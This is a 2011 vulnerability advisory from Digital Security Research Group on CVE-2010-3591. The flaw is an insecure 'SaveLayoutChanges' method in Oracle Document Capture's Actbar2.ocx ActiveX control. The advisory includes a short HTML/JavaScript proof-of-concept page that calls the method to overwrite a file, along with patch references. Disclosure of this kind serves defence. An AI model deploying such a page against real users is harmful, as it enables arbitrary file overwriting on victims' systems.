[DSECRG-00153] Oracle Document Capture Actbar2.ocx - insecure method

2011-01-2600:00:00

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ActiveX components contain insecure methods.

Digital Security Research Group [DSecRG] Advisory #DSECRG-00153

Application: Oracle Document Capture
Versions Affected: Release 10gR3
Vendor URL: www.oracle.com
Bugs: insecure method, File overwriting
Exploits: YES
Reported: 22.03.2010
Vendor response: 31.03.2010
Date of Public Advisory:24.01.2011
CVE-number: CVE-2010-3591
Author: Evdokimov Dmitriy from Digital Security Research Group
[DSecRG] (research [at] dsecrg [dot] com)

Description

Oracle Document Capture contains ActiveX components that contains insecure methods.

Insecure method in Actbar2.ocx

Details

Oracle Document Capture contains ActiveX component ActiveBar2Library (Actbar2.ocx)
Lib GUID: {4932CEF1-2CAA-11D2-A165-0060081C43D9}

which is contains insecure method "SaveLayoutChanges" that can overwrite any
unhidden file in system.

Class ActiveBar2
GUID: {4932CEF4-2CAA-11D2-A165-0060081C43D9}
Number of Interfaces: 1
Default Interface: IActiveBar2
RegKey Safe for Script: True
RegKey Safe for Init: True
KillBitSet: False

Exploit

Attacker can construct html page which call vulnerable function
"SaveLayoutChanges" from ActiveX component Actbar2.ocx

Example:

<HTML>
<HEAD>
<TITLE>DSecRG</TITLE>
</HEAD>
<BODY>

     &lt;OBJECT id=&#39;eds&#39;

classid='clsid:4932CEF4-2CAA-11D2-A165-0060081C43D9'></OBJECT>

     &lt;SCRIPT&gt;
             
     function Exploit&#40;&#41;{
             eds.SaveLayoutChanges&#40;&quot;C:&#92;&#92;31337.txt&quot;,1&#41;;             
     }
     Exploit&#40;&#41;;

     &lt;/SCRIPT&gt;

</BODY>
</HTML>

References

http://dsecrg.com/pages/vul/show.php?id=304
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html

Fix Information

Information was published in CPU Jan 2011.
All customers can download CPU patches following instructions from:

http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html

About

Digital Security:

Is one of the leading IT security companies in CEMEA, providing information
security consulting, audit and penetration testing services, ERP and SAP security
assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.

Digital Security Research Group:

International subdivision of Digital Security company focused on research and
software development for securing business-critical systems like: enterprise
applications (ERP,CRM,SRM), technology systems (SCADA, Smart Grid) and banking
software. DSecRG developed new product "ERPSCAN security suite for SAP NetWeaver"
and service "ERPSCAN Online" which can help customers to perform automated security
assessments and compliance checks for SAP solutions.

Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.erpscan.com

Polyakov Alexandr. PCI QSA,PA-QSA
CTO Digital Security
Head of DSecRG

DIGITAL SECURITY
phone: +7 812 703 1547
+7 812 430 9130
e-mail: [email protected]

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